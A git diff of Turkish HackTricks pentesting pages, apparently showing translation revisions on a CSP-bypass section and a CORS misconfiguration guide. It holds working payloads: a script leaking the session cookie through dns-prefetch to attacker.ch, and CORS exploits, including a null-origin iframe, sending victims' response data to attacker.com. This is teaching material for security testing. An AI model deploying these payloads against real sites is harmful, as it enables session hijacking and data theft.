Tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şunu belirtebilirsiniz: `<link reol="dns-prefetch" href="something.com">` Tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şunu belirtebilirsiniz: `<link reol="dns-prefetch" href="something.com">`
Bu davranışı **DNS istekleri aracılığıyla hassas bilgileri dışarı sızdırmak** için kötüye kullanabilirsiniz: Bu davranışı **DNS istekleri aracılığıyla hassas bilgileri dışarı sızdırmak** için kötüye kullanabilirsiniz:
@ -703,14 +702,16 @@ var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0]; var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">"; body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
``` ```
Başka bir yol: ### Başka bir yol:
Yukarıda bahsedilen yöntemlerin yanı sıra, bazı durumlarda bir web sitesinin içerik güvenlik politikasını (CSP) atlayabilecek başka yöntemler de bulunmaktadır. Bu yöntemler genellikle mevcut bir açığı veya zayıflığı kullanarak gerçekleştirilir.
```javascript ```javascript
const linkEl = document.createElement('link'); const linkEl = document.createElement('link');
linkEl.rel = 'prefetch'; linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData; linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl); document.head.appendChild(linkEl);
``` ```
Bu durumun yaşanmasını engellemek için sunucu HTTP başlığını gönderebilir: Bu durumun önüne geçmek için sunucu HTTP başlığını gönderebilir:
``` ```
X-DNS-Prefetch-Control: off X-DNS-Prefetch-Control: off
``` ```
@ -770,20 +771,20 @@ Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
**En Son Duyurular**\ **En Son Duyurular**\
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin Yeni ödül avcılıklarının başlatılmasını ve önemli platform güncellemelerini takip edin
**Bize Katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın! **Bize Katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
<details> <details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu görün * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destek olun.** * **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -4,12 +4,12 @@
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
@ -18,30 +18,30 @@ HackTricks'i desteklemenin diğer yolları:
Çapraz Kaynak Paylaşımı (CORS) standardı **sunucuların varlıklarına kimin erişebileceğini** ve **harici kaynaklardan hangi HTTP istek yöntemlerinin izinli olduğunu** tanımlamasına olanak tanır. Çapraz Kaynak Paylaşımı (CORS) standardı **sunucuların varlıklarına kimin erişebileceğini** ve **harici kaynaklardan hangi HTTP istek yöntemlerinin izinli olduğunu** tanımlamasına olanak tanır.
**Aynı köken** politikası, bir **kaynağı isteyen sunucu** ile **kaynağı barındıran sunucunun** aynı protokolü (örneğin, `http://`), alan adını (örneğin, `internal-web.com`) ve **portu** (örneğin, 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı etki alanı ve porttan gelen web sayfalarına kaynaklara erişim izinlidir. **Aynı köken** politikası, bir **kaynağı isteyen sunucu** ile **kaynağı barındıran sunucunun** aynı protokolü (ör. `http://`), alan adını (ör. `internal-web.com`) ve **portu** (ör. 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı etki alanı ve porttan gelen web sayfalarına kaynaklara erişim izinlidir.
`http://normal-website.com/example/example.html` bağlamında aynı köken politikasının uygulanması aşağıdaki gibi gösterilmiştir: `http://normal-website.com/example/example.html` bağlamında aynı köken politikasının uygulanması aşağıdaki gibi gösterilmiştir:
| Erişilen URL | Erişime izin verildi mi? | | Erişilen URL | Erişime izin verildi mi? |
| ----------------------------------------- | --------------------------------------- | | ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Evet: Aynı şema, etki alanı ve port | | `http://normal-website.com/example/` | Evet: Aynı şema, alan adı ve port |
| `http://normal-website.com/example2/` | Evet: Aynı şema, etki alanı ve port | | `http://normal-website.com/example2/` | Evet: Aynı şema, alan adı ve port |
| `https://normal-website.com/example/` | Hayır: Farklı şema ve port | | `https://normal-website.com/example/` | Hayır: Farklı şema ve port |
| `http://en.normal-website.com/example/` | Hayır: Farklı etki alanı | | `http://en.normal-website.com/example/` | Hayır: Farklı alan adı |
| `http://www.normal-website.com/example/` | Hayır: Farklı etki alanı | | `http://www.normal-website.com/example/` | Hayır: Farklı alan adı |
| `http://normal-website.com:8080/example/` | Hayır: Farklı port\* | | `http://normal-website.com:8080/example/` | Hayır: Farklı port\* |
\*Internet Explorer, aynı köken politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir. \*Internet Explorer, aynı köken politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir.
### `Access-Control-Allow-Origin` Başlığı ### `Access-Control-Allow-Origin` Başlığı
Bu başlık **birden fazla kökeni**, bir **`null`** değerini veya bir joker **`*`** değerini izin verebilir. Ancak, **hiçbir tarayıcı birden fazla kökeni desteklemez**, ve joker `*` kullanımı **sınırlamalara** tabidir. (Joker yalnız kullanılmalıdır ve `Access-Control-Allow-Credentials: true` ile birlikte kullanımı izin verilmez.) Bu başlık **çoklu kökenlere**, bir **`null`** değerine veya bir joker **`*`** değerine izin verebilir. Ancak, **hiçbir tarayıcı çoklu kökenleri desteklemez** ve joker `*` kullanımı **sınırlamalara** tabidir. (Joker yalnız kullanılmalıdır ve `Access-Control-Allow-Credentials: true` ile birlikte kullanımına izin verilmez.)
Bu başlık, tarayıcı tarafından otomatik olarak bir `Origin` başlığı eklenen bir web sitesi tarafından başlatılan çapraz etki alanı kaynağı isteğine sunucu tarafından **verilir**. Bu başlık, tarayıcı tarafından otomatik olarak bir `Origin` başlığı eklenen bir web sitesi tarafından başlatılan çapraz etki alanı kaynağı isteğine sunucu tarafından **verilir**.
### `Access-Control-Allow-Credentials` Başlığı ### `Access-Control-Allow-Credentials` Başlığı
**Varsayılan olarak**, çapraz köken istekler, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz etki alan sunucusu, kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir ve bunu `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayarak yapabilir. **Varsayılan olarak**, çapraz köken istekler, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz etki alanı sunucusu, `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayarak kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir.
`true` olarak ayarlandığında, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci sertifikaları) iletecektir. `true` olarak ayarlandığında, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci sertifikaları) iletecektir.
```javascript ```javascript
@ -74,13 +74,13 @@ xhr.send('<person><name>Arun</name></person>');
### Çapraz Alan İletişiminde Ön Uçuş İsteklerini Anlama ### Çapraz Alan İletişiminde Ön Uçuş İsteklerini Anlama
Belirli koşullar altında çapraz alan isteği başlatılırken, örneğin **standart olmayan bir HTTP yöntemi** kullanılarak (HEAD, GET, POST dışında herhangi bir şey), yeni **başlıklar** tanıtılarak veya özel bir **Content-Type başlık değeri** kullanılarak, bir ön uçuş isteği gerekebilir. Bu ön hazırlık isteği, **`OPTIONS`** yöntemini kullanarak sunucuyu gelecek çapraz köken isteğin niyetleri hakkında bilgilendirir, kullanmayı planladığı HTTP yöntemlerini ve başlıkları içerir. Belirli koşullar altında çapraz alan isteği başlatılırken, örneğin **standart olmayan HTTP yöntemi** kullanılarak (HEAD, GET, POST dışında herhangi bir şey), yeni **başlıklar** tanıtılarak veya özel bir **Content-Type başlık değeri** kullanılarak, bir ön uçuş isteği gerekebilir. Bu ön hazırlık isteği, **`OPTIONS`** yöntemini kullanarak sunucuyu gelecek çapraz kökenli isteğin niyetleri hakkında bilgilendirir, kullanmayı planladığı HTTP yöntemlerini ve başlıkları içerir.
**Çapraz Köken Kaynak Paylaşımı (CORS)** protokolü, bu ön uçuş kontrolünü zorunlu kılar, istenilen çapraz köken işleminin uygunluğunu doğrulayarak izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini kontrol eder. Bir ön uçuş isteğinin gerekli olmadığı durumları ayrıntılı olarak anlamak için [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) tarafından sağlanan kapsamlı kılavuza başvurun. **Çapraz Köken Kaynak Paylaşımı (CORS)** protokolü, bu ön uçuş kontrolünü zorunlu kılar, istenen çapraz kökenli işlemin uygunluğunu belirleyerek izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini doğrular. Bir ön uçuş isteğinin gerekli olmadığı koşullar hakkında detaylı bilgi için [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) tarafından sağlanan kapsamlı kılavuza başvurun.
**Ön uçuş isteğinin olmamasının, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** unutmamak önemlidir. Bu başlıklar olmadan tarayıcı, çapraz köken isteğinden gelen yanıtı işleme yeteneğinden yoksun kalır. **Ön uçuş isteğinin olmamasının, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** unutmamak önemlidir. Bu başlıklar olmadan tarayıcı, çapraz kökenli isteğin yanıtını işleme yeteneğinden yoksun kalır.
Aşağıdaki örneği göz önünde bulundurun, bu örnekte `PUT` yöntemini kullanarak ve `Special-Request-Header` adında özel bir başlık ekleyerek bir ön uçuş isteği yapılmaktadır: Aşağıdaki örneği göz önünde bulundurun, bu örnek, `PUT` yöntemini kullanmayı ve `Special-Request-Header` adında özel bir başlık eklemeyi amaçlayan bir ön uçuş isteğini göstermektedir:
``` ```
OPTIONS /info HTTP/1.1 OPTIONS /info HTTP/1.1
Host: example2.com Host: example2.com
@ -89,7 +89,7 @@ Origin: https://example.com
Access-Control-Request-Method: POST Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization Access-Control-Request-Headers: Authorization
``` ```
Sunucu, aşağıda gösterildiği gibi kabul edilen yöntemleri, izin verilen kaynağı ve diğer CORS politika ayrıntılarını belirten başlıklar döndürebilir: Sunucu, aşağıda gösterildiği gibi kabul edilen yöntemleri, izin verilen kaynağı ve diğer CORS politikası ayrıntılarını belirten başlıklar döndürebilir:
```markdown ```markdown
HTTP/1.1 204 No Content HTTP/1.1 204 No Content
... ...
@ -104,15 +104,15 @@ Access-Control-Max-Age: 240
* **`Access-Control-Max-Age`**: Bu başlık, bir ön uçuş isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini belirtir. Sunucu, ön uçuş isteği tarafından döndürülen bilgilerin ne kadar süreyle yeniden kullanılabileceğini saniye cinsinden belirler. * **`Access-Control-Max-Age`**: Bu başlık, bir ön uçuş isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini belirtir. Sunucu, ön uçuş isteği tarafından döndürülen bilgilerin ne kadar süreyle yeniden kullanılabileceğini saniye cinsinden belirler.
* **`Access-Control-Request-Headers`**: Ön uçuş isteklerinde kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP başlıklarının kullanılacağını sunucuya bildirmek için ayarlanır. * **`Access-Control-Request-Headers`**: Ön uçuş isteklerinde kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP başlıklarının kullanılacağını sunucuya bildirmek için ayarlanır.
* **`Access-Control-Request-Method`**: Bu başlık da ön uçuş isteklerinde kullanılır ve istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır. * **`Access-Control-Request-Method`**: Bu başlık da ön uçuş isteklerinde kullanılır ve istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
* **`Origin`**: Bu başlık tarayıcı tarafından otomatik olarak ayarlanır ve çapraz köken isteğinin kökenini gösterir. Sunucu, gelen isteğin CORS politikasına dayanarak izin verilip verilmeyeceğini değerlendirmek için bunu kullanır. * **`Origin`**: Bu başlık tarayıcı tarafından otomatik olarak ayarlanır ve çapraz köken isteğinin kökenini gösterir. Sunucu, CORS politikasına dayanarak gelen isteğin izin verilip verilmeyeceğini değerlendirmek için bunu kullanır.
Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) **GET/POST isteğinde ön uçuş isteği gönderilmez** (isteğin **doğrudan** gönderilir), ancak yanıtın **başlıklarını/gövdesini erişmek istiyorsanız**, buna izin veren bir _Access-Control-Allow-Origin_ başlığı içermelidir.\ Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) **GET/POST isteğinde ön uçuş isteği gönderilmez** (isteği **doğrudan** gönderilir), ancak yanıtın **başlıklarını/gövdesine erişmek istiyorsanız**, buna izin veren bir _Access-Control-Allow-Origin_ başlığı içermelidir.\
**Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ancak faydalı olabilir).** **Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ancak faydalı olabilir).**
### **Yerel Ağ İstekleri Ön Uçuş İsteği** ### **Yerel Ağ İstekleri Ön Uçuş İsteği**
1. **`Access-Control-Request-Local-Network`**: Bu başlık, istemcinin isteğine dahil edilir ve sorgunun yerel ağ kaynağına yönelik olduğunu belirtir. Sunucuya, isteğin yerel ağdan geldiğini bildirmek için bir işaret olarak hizmet eder. 1. **`Access-Control-Request-Local-Network`**: Bu başlık, istemcinin isteğine dahil edilir ve sorgunun yerel ağ kaynağına yönelik olduğunu belirtir. Sunucuya, isteğin yerel ağdan geldiğini bildirmek için bir işaret olarak hizmet eder.
2. **`Access-Control-Allow-Local-Network`**: Yanıt olarak, sunucular istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasına izin verildiğini iletmek için bu başlığı kullanır. Farklı ağ sınırları arasında kaynakların paylaşılmasına yeşil ışık yakarak, güvenlik protokollerini korurken kontrollü erişimi sağlar. 2. **`Access-Control-Allow-Local-Network`**: Yanıt olarak, sunucular istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasına izin verildiğini iletmek için bu başlığı kullanır. Farklı ağ sınırları arasında kaynakların paylaşılmasına yeşil ışık yakarak, kontrollü erişimi sağlarken güvenlik protokollerini korur.
**Yerel ağ isteğine izin veren geçerli bir yanıtın**, ayrıca yanıtta `Access-Controls-Allow-Local_network: true` başlığını içermesi gerekir: **Yerel ağ isteğine izin veren geçerli bir yanıtın**, ayrıca yanıtta `Access-Controls-Allow-Local_network: true` başlığını içermesi gerekir:
``` ```
@ -126,20 +126,20 @@ Content-Length: 0
... ...
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Linux **0.0.0.0** IP'si, bu gereksinimleri atlamak için **yerel** olarak kabul edilmeyen bir IP adresi olduğundan localhost'a erişmek için çalışır. Linux'un **0.0.0.0** IP'sinin localhost'a erişmek için gereksinimleri **atlamak** için çalıştığını unutmayın, çünkü bu IP adresi "yerel" olarak kabul edilmez.
Ayrıca, **yerel ağ gereksinimlerini atlamak** mümkündür, eğer **yerel bir uç noktanın genel IP adresini** kullanıyorsanız (örneğin yönlendiricinin genel IP'si). Çünkü birkaç durumda, **genel IP** erişiliyorsa, eğer **yerel ağdan** erişiliyorsa, erişim sağlanacaktır. Ayrıca, **Yerel Ağ gereksinimlerini atlamak** mümkündür, eğer **yerel bir uç noktanın genel IP adresini** kullanıyorsanız (örneğin yönlendiricinin genel IP'si). Çünkü birkaç durumda, hatta **genel IP'ye** erişiliyorsa, eğer **yerel ağdan** erişiliyorsa, erişim sağlanacaktır.
{% endhint %} {% endhint %}
## Sömürülebilir yanlış yapılandırmalar ## Sömürülebilir yanlış yapılandırmalar
`Access-Control-Allow-Credentials` ayarının **`true`** olarak ayarlanmasının çoğu **gerçek saldırılar** için bir önkoşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, saldırının etkinliğini artırır. Bu olmadan, tarayıcının bir istek göndermesini sağlamak yerine kendiniz yapmanın faydası azalır, çünkü bir kullanıcının çerezlerini kullanmak olanaksız hale gelir. `Access-Control-Allow-Credentials` ayarının **`true`** olarak ayarlanmasının çoğu **gerçek saldırılar** için bir önkoşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, saldırının etkinliğini artırır. Bu olmadan, tarayıcının isteği yapmasını sağlamak yerine kendiniz yapmanın faydası azalır, çünkü bir kullanıcının çerezlerini kullanmak olanaksız hale gelir.
### İstisna: Ağ Konumunun Kimlik Doğrulaması Olarak Sömürme ### İstisna: Ağ Konumunun Kimlik Doğrulaması Olarak Sömürülmesi
Kurbanın ağ konumunun kimlik doğrulaması olarak işlev gördüğü bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir, IP tabanlı kimlik doğrulamayı atlayarak iç ağ uygulamalarına erişimi sağlar. Bu yöntem, DNS yeniden bağlama ile benzer etkilere sahip olmasına rağmen, daha basit bir şekilde sömürülebilir. Kurbanın ağ konumunun kimlik doğrulaması olarak kullanılmasına izin veren bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına olanak tanır, IP tabanlı kimlik doğrulamayı atlayarak iç ağ uygulamalarına erişimi sağlar. Bu yöntem, DNS rebinding ile benzer etkilere sahip olmasına rağmen, daha basit bir şekilde sömürülebilir.
### `Origin`'in `Access-Control-Allow-Origin`'de Yansıtılması ### `Access-Control-Allow-Origin` İçinde `Origin` Yansıtılması
`Origin` başlığının değerinin `Access-Control-Allow-Origin` içinde yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle teorik olarak olası değildir. Bununla birlikte, CORS'u birden fazla URL için etkinleştirmek isteyen geliştiriciler, `Access-Control-Allow-Origin` başlığını `Origin` başlığının değerini kopyalayarak dinamik olarak oluşturabilir. Bu yaklaşım, özellikle bir saldırganın geçerlilik mantığını aldatarak meşru görünmesi için tasarlanmış bir alan adı kullandığında, güvenlik açıklarına neden olabilir. `Origin` başlığının değerinin `Access-Control-Allow-Origin` içinde yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle teorik olarak olası değildir. Bununla birlikte, CORS'u birden fazla URL için etkinleştirmek isteyen geliştiriciler, `Access-Control-Allow-Origin` başlığını `Origin` başlığının değerini kopyalayarak dinamik olarak oluşturabilir. Bu yaklaşım, özellikle bir saldırganın geçerlilik mantığını aldatarak meşru görünmesi için tasarlanmış bir alan adı kullandığında, güvenlik açıklarına neden olabilir.
```html ```html
@ -156,7 +156,7 @@ location='/log?key='+this.responseText;
``` ```
### `null` Origin'un Sömürülmesi ### `null` Origin'un Sömürülmesi
`null` kökeni, yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirlendiğinden, benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kökeni beyaz listeye alır ve yanlışlıkla herhangi bir web sitesinin, CORS kısıtlamalarını atlayarak bir `null` kökenini taklit etmesine izin verir. Bu, bir sandboxed iframe aracılığıyla gerçekleştirilir. Yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirlenen `null` kökeni, benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kökeni beyaz listeye alır ve yanlışlıkla herhangi bir web sitesinin, bir kum havuzu içindeki iframe aracılığıyla `null` kökenini taklit etmesine izin vererek CORS kısıtlamalarını atlar.
```html ```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest(); var req = new XMLHttpRequest();
@ -184,21 +184,21 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
``` ```
### Düzenli İfade Atlatma Teknikleri ### Düzenli İfade Atlatma Teknikleri
Bir alan adı beyaz listesiyle karşılaşıldığında, saldırganın alan adını beyaz listeli bir alan adına eklemesi veya alt alan devralma güvenlik açıklarını sömürmesi gibi atlatma fırsatlarını test etmek hayati önem taşır. Ayrıca, alan adı doğrulaması için kullanılan düzenli ifadeler, alan adı adlandırma kurallarındaki ince detayları göz ardı edebilir ve daha fazla atlatma fırsatı sunabilir. Bir alan adı beyaz listesiyle karşılaşıldığında, saldırganın alan adını beyaz listeli bir alan adına eklemek veya alt alan adı ele geçirme güvenlik açıklarını sömürmek gibi atlatma fırsatlarını test etmek hayati önem taşır. Ayrıca, alan adı doğrulaması için kullanılan düzenli ifadeler, alan adı adlandırma kurallarındaki ince detayları göz ardı edebilir ve daha fazla atlatma fırsatı sunabilir.
### Gelişmiş Düzenli İfade Atlatmaları ### Gelişmiş Düzenli İfade Atlatmaları
Regex desenleri genellikle alfasayısal, nokta (.), ve kısa çizgi (-) karakterlerine odaklanırken, diğer olasılıkları göz ardı edebilir. Örneğin, tarayıcılar ve regex desenleri tarafından farklı yorumlanan karakterleri içeren bir alan adı, güvenlik kontrollerini atlatmak için kullanılabilir. Safari, Chrome ve Firefox'un alt alanlardaki alt çizgi karakterlerini ele alış şekli, bu tür farklılıkların alan adı doğrulama mantığını atlatmak için nasıl sömürülebileceğini gösterir. Düzenli ifade desenleri genellikle alfasayısal, nokta (.), ve kısa çizgi (-) karakterlerine odaklanırken, diğer olasılıkları göz ardı edebilir. Örneğin, tarayıcılar ve düzenli ifade desenleri tarafından farklı yorumlanan karakterleri içeren bir alan adı, güvenlik kontrollerini atlatmak için kullanılabilir. Safari, Chrome ve Firefox'un alt alanlardaki alt çizgi karakterlerini ele alış şekilleri, bu tür farklılıkların alan adı doğrulama mantığını atlatmak için nasıl sömürülebileceğini gösterir.
**Bu atlatma kontrolünün daha fazla bilgi ve ayarları için:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **ve** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) **Bu atlatma kontrolünün daha fazla bilgi ve ayarları için:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **ve** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>) ![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
### Bir Alt Alan İçinde XSS'den ### Bir Alt Alan İçinde XSS'ten
Geliştiriciler genellikle, bilgi istemek için izin verilen alan adlarını beyaz listeye alarak CORS sömürüsüne karşı koruyucu mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listeli alan adları içinde bile tek bir savunmasız alt alanın varlığı, XSS (Cross-Site Scripting) gibi diğer güvenlik açıklarından dolayı CORS sömürüsüne kapı açabilir. Geliştiriciler genellikle, bilgi istemek için izin verilen alan adlarını beyaz listeye alarak CORS sömürüsüne karşı koruyucu mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listeli alan adları içinde bile tek bir savunmasız alt alanın bulunması, XSS (Cross-Site Scripting) gibi diğer güvenlik açıklarından dolayı CORS sömürüsüne kapı açabilir.
Örneğin, `requester.com` adlı bir alanın, başka bir alan olan `provider.com`'dan kaynaklara erişimine izin verildiği bir senaryoyu düşünelim. Sunucu tarafı yapılandırması şöyle görünebilir: Örneğin, `requester.com` adlı bir alan adının, başka bir alan adı olan `provider.com`'dan kaynaklara erişime izin verildiği bir senaryoyu düşünelim. Sunucu tarafı yapılandırması şöyle görünebilir:
```javascript ```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') { if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data // Access data
@ -206,13 +206,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access // Unauthorized access
} }
``` ```
